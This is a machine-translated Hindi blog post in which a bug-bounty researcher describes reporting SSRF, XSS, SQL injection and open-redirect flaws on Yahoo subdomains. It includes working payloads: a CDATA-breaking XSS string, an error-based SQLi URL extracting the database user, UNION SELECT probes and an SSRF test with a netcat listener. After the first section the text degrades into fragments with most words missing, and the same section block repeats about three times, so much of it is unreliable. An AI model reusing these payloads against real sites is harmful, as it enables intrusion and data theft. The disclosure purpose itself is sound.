तीन सौ निन्यानबे डॉलर

इस लेख में मैं याहू (और न केवल) से इनाम कार्यक्रम में भाग लेने में अपने अनुभव को साझा करना चाहता हूं। मैं आपको बताऊंगा कि मुझे क्या कमजोरियां मिलीं, मैं किन कठिनाइयों में भाग गया, और याहू कितना उदार हो गया। कटौती के तहत आप के लिए इंतजार कर!




मैं काफी समय से सूचना सुरक्षा के मुद्दे पर दिलचस्पी ले रहा था (2007 के बाद से)। मेरा आंतरिक निर्णय, जिसका मैं पालन करने की कोशिश करता हूं, मेरा शौक है। के लिए मैं एक दिनचर्या है कि इस तरह के एक एड्रेनालाईन भीड़ लाता है में बदलना नहीं चाहता। लेकिन शौक अलग हो सकते हैं। और एक साल पहले की तुलना में थोड़ा कम, मैंने भूमिगत छोड़ने का फैसला किया। PHDIII पर गए। उन्होंने "WAF बायपास" प्रतियोगिता में सम्मानजनक चौथा स्थान हासिल किया। मेरी व्यक्तिगत राय है कि मैंने इसे केवल इसलिए लिया क्योंकि मैं इस प्रतियोगिता में कम से कम एक कुंजी भेजने वाला चौथा और अंतिम व्यक्ति था :)। उन्होंने सिमेंटेक साइबर रेडीनेस चैलेंज के ऑनलाइन और ऑफलाइन चरणों में भाग लिया, जहां, उनके आश्चर्य और खुशी के लिए, वह शीर्ष दस में थे। सामान्य तौर पर, उन्होंने खुद को दिखाया और स्मार्ट लोगों को देखा। लेकिन यह मास्लो के पिरामिडों की जरूरतों के चौथे चरण की संतुष्टि है। और मैं, किसी भी जीवित व्यक्ति की तरह, मैं खाना चाहता हूं। और अंतर्निहित इच्छा कि मेरा शौक न केवल खुशी, बल्कि पैसा भी लाता है, एक जुनून में बढ़ गया।

सर्गेई बेलोव पसंदीदा द्वारा पोस्ट पढ़ने के बाद एक महत्वपूर्ण मोड़ आया : आईटी सुरक्षा पर लिंक । जहाँ मुझे एक स्पष्ट बात पता चली, किसी कारण से मुझे यह नहीं लगा कि मुझे खुद की क्या खोज करनी है - खुले कार्यक्रमों की सूची बग बाउंटी की एक कड़ी। जहां, यैंडेक्स, Google, फेसबुक के स्पष्ट कार्यक्रमों के अलावा, कई अन्य सूचीबद्ध थे। पढ़ें - किया।

सबसे पहले, मैंने अमेरिकी फोन और पे फोन से एक प्रचार कार्यक्रम चुना। दो निस्संदेह सप्ताह, यह मुझे लग रहा था, व्यर्थ नहीं थे। लगभग 30 त्रुटि संदेश, जिनमें शामिल हैं: विभिन्न जीवनशैली की सेवाओं पर SQLi, किसी भी उपयोगकर्ता के लिए पासवर्ड परिवर्तन, और बहुत कुछ। लेकिन दो सप्ताह के अर्ध-स्वचालित प्रतिक्रियाओं के बाद, “हमने आपको सुना। आपसे शीघ्र ही संपर्क किया जाएगा, "मैंने सोचा, लेकिन" कितनी जल्दी "कितना है?" मैं मंचों और एक अप्रिय स्थिति से घिरा हुआ था। वे लंबे समय तक जवाब देते हैं, लंबे समय तक सोते हैं। $ 5,000 के शीर्ष बार से संकेत मिलता है, सरासर पेनी का भुगतान किया जाता है। और सामान्य तौर पर, समुदाय को इस प्रोत्साहन कार्यक्रम के बारे में बहुत नकारात्मक राय है। यह इस समय था कि मेरा लैपटॉप चालू ऑपरेटिंग समय के साथ जल गया, जिसका मैंने बैकअप नहीं लिया। मैंने इसे भाग्य के संकेत के रूप में लिया और एक दृढ़ इच्छाशक्ति वाला निर्णय लिया: "मुझे प्रतिक्रिया देखे बिना भेजने के लिए बहुत नींद नहीं आई।" फिलहाल, स्थिति इतनी खराब नहीं है - उन्होंने 9 कमजोरियों की पुष्टि की। सच है, चयन बिल्कुल स्पष्ट नहीं है - तिथियों में प्रसार, आलोचना के स्तर में फैला हुआ। और, सबसे महत्वपूर्ण बात, अब एक लॉटरी मेरा इंतजार कर रही है - पैसा तिमाही के लिए केवल शीर्ष दस का भुगतान करेगा। बाकी तो धन्यवाद ही कहेंगे। मैं इस समय अधिक नहीं कह सकता, क्योंकि जिन त्रुटियों की पुष्टि की गई है, उनकी स्थिति भी पूरी तरह से स्पष्ट नहीं है।

लेकिन जाने दो - नवंबर का मध्य बस यार्ड में था। और मैं एक नए शिकार की तलाश में था। ऐसे कार्यक्रमों में भाग लेने में मेरी दिलचस्पी Telekom.de की प्रतिक्रिया से बढ़ी , जहां उन्होंने भेद्यता की रिपोर्ट करने के लिए मुझे धन्यवाद दिया। और, इस तथ्य के बावजूद कि मेरा संदेश दोहराया गया था, वे वास्तव में अपने प्रयासों के लिए मुझे 50 यूरो भेजना चाहते हैं और मुझसे विवरण की प्रतीक्षा कर रहे हैं।



और फिर मैं सामान्य शीर्षक के साथ ट्वीट्स, पोस्ट और लाइक का एक समूह भर आया "याहू सुरक्षा विभाग के निदेशक को पैसे के लिए टी-शर्ट भेजना बंद कर देगा और आधिकारिक तौर पर इसका रिवार्ड प्रोग्राम खोल देगा।" मुझे जल्दी ही प्रोत्साहन कार्यक्रम का लिंक मिला, जो 1 नवंबर, 2013 को खोला गया। 1 फरवरी 2014 से, उन्होंने HackerOne के साथ सहयोग किया है और अब उन्हें यहां भेजने की आवश्यकता है । मैं उम्मीद कर रहा था कि एक तरफ एक बड़ा खोज इंजन छह महीने तक फ्रीज नहीं होगा और दूसरी तरफ, शुरुआत में क्रीम को हटाया जा सकता है। मुझे तुरंत कहना चाहिए - मेरी अपेक्षाएं पूरी हुईं। अब क्रम में।

पहले कुछ दिन मैंने वैज्ञानिक प्रहार विधि में बिताए। मेरे अपने अनुभवजन्य तरीके हैं - क्या देखना है, कहाँ देखना है। हां, और बस चारों ओर देखना था।

भाग एक XSS at tw.m.yahoo.com।

मेरी रीलिंग के चौथे दिन, मैं पहला URL ( http://tw.m.yahoo.com/w/twstock/news_content.php?url=http://tw.stock.yahoo.com/w-news_content/url) आया /d/a/140210/2/49cvs.html&.ts=1384478129&.intl=tw&.lang=zh-hant-tw )। प्रारंभिक परीक्षणों से पता चला है कि मैं सही दिशा में जा रहा हूं। स्वाभाविक रूप से, मैंने यूआरएल पैरामीटर पर ध्यान दिया।
"शायद आईफ्रेम?" मैंने सोचा।
लेकिन नहीं, वह सबसे सर्वर-साइड अनुरोध था। यह कैसे काम करता है:
1. स्क्रिप्ट url पैरामीटर लेता है
2. इसके लिए पूछता है, वास्तव में यह एक json कंटेनर ( http://tw.stock.yahoo.com/w/news_content/url/d/a/140210/2/49cvs.html ) है

3. इससे एक पेज बनाता है।
तुरंत यूआरएल को बदलने का विचार आया। और न केवल दूसरे डोमेन के लिए, बल्कि एक अन्य पोर्ट के लिए भी अनुरोध करें:
http://tw.m.yahoo.com/w/twstock/news_content.php?url=http://example.com:6666/nonexist

सर्वर की तरफ, हमें मिलता है:

nc -lvv 6666 Connection from 202.43.194.189 port 6666 [tcp/ircu-2] accepted GET /nonexist HTTP/1.1 Host: example.com:6666 Accept: */* 

शीर्षलेखों के संदर्भ में, यह CURL के समान है (जैसा कि बाद में स्पष्ट हो जाता है - CURLOPT_FOLLOWLOCATION बंद हो गया)। उसके बाद, मैंने अनुमत प्रोटोकॉल की जाँच की:
- काम: http, https;
- काम न करें: एफ़टीपी, गोफर, टीएटीपीपी, एलडीएपी, तानाशाह, एसएच 2, फ़ाइल, टेलनेट, एसएमटीपी, मेल्टो, पॉप 3, इम्पैप;
- स्थान के माध्यम से पुनर्निर्देशन काम नहीं करता है।
परिणाम SSRF के उपयोग में बहुत सीमित है।

अगला, स्रोत फ़ाइल को सहेजने और अनुरोध करने के लिए एक समझदार चाल थी:
http://tw.m.yahoo.com/w/twstock/news_content.php?url=http://example.com:5555/content_spoofed.html
देखा। हमारे पास सामग्री का एक प्रतिस्थापन है। लेकिन अगर हमारे पास सामग्री का प्रतिस्थापन है, तो यह XSS को प्राप्त करने की कोशिश नहीं करना पाप होगा। मैंने मापदंडों के साथ प्रयोग करना शुरू किया, लेकिन ... वे अच्छी तरह से मान्य थे। पहला कॉल cobrand_url पैरामीटर को प्रतिस्थापित करने के लिए किया गया था:

 javascript:alert('xss') 

सब कुछ काम किया, लेकिन उपयोगकर्ता से एक क्लिक की उम्मीद करना सबसे अच्छा विकल्प नहीं है। हालांकि रिपोर्ट में मैंने एक नग्न लड़की, या एक उदास बिल्ली, एक छवि के रूप में उपयोग करने का सुझाव दिया।
मैंने आगे मापदंडों का परीक्षण करना शुरू किया और ऐसा प्रतिस्थापन किया:

 "category":"N10\"" 

(बच गया दोहरा भाव चरित्र)। मुझे एक बहुत अप्रत्याशित त्रुटि स्टैक ट्रेस मिला (दुर्भाग्य से इसे बचाया नहीं गया)। लब्बोलुआब यह है कि यह कहा गया है कि कुछ खाका आम तौर पर प्रक्रिया और उत्पादन नहीं कर सकते थे जो वे उसके पास फिसल गए थे। यह क्या है पहली बार देख रहा हूं। हम Google पर जाते हैं और पाते हैं कि एक जादुई संशोधक " w-raw " है:
http://tw.m.yahoo.com/w-raw/twstock/news_content.php?url=http://tw.stock.yahoo.com/w/news_content/url/d/a/140210/2/ 49cvs.html
जो आउटपुट से पहले टेम्पलेट के स्रोत कोड को दिखाता है (ठीक है, जैसा कि मैं इसे समझता हूं)। यह स्पष्ट हो गया कि आउटपुट से पहले डेटा एकत्र करने की कोशिश करते समय क्या और कैसे डाला जाता है। और इसके अलावा, यह स्पष्ट हो गया कि मैं अपने मार्कअप को जोड़कर स्रोत की बहुत संरचना को बदल सकता हूं। तब मैं थोड़ा और गुगला हुआ, w- कच्चे और गुगुल के माध्यम से अलग - अलग पन्नों के स्रोत पर थोड़ा और देखा ... और मुझे यह स्पष्ट निर्माण ब्लूप्रिंट स्रोतों में मिला:

 <custom-ad mediatype="text/html"><![ CDATA[<img src='http://csc.beap.bc…… /> ]]></custom-ad> 

उसी समय, सीडीएटीए की सामग्री को बिना परिवर्तन के पृष्ठ पर प्रदर्शित किया गया था। ऐसा लगता है कि आपको यही चाहिए।
परीक्षण और त्रुटि से, मुझे सही पेलोड मिला:

 "legal_name":"legal_name<\/block><module><custom-ad mediatype=\"text\/html\"><![CDATA[<img src='asdfasdf' onerror=\"alert('xss')\"><script>alert('xss2')<\/script>]]><\/custom-ad><\/module><block>" 

दोनों वैक्टर ने काम किया, और वास्तव में, .
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .

.
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .

.
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .

.
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
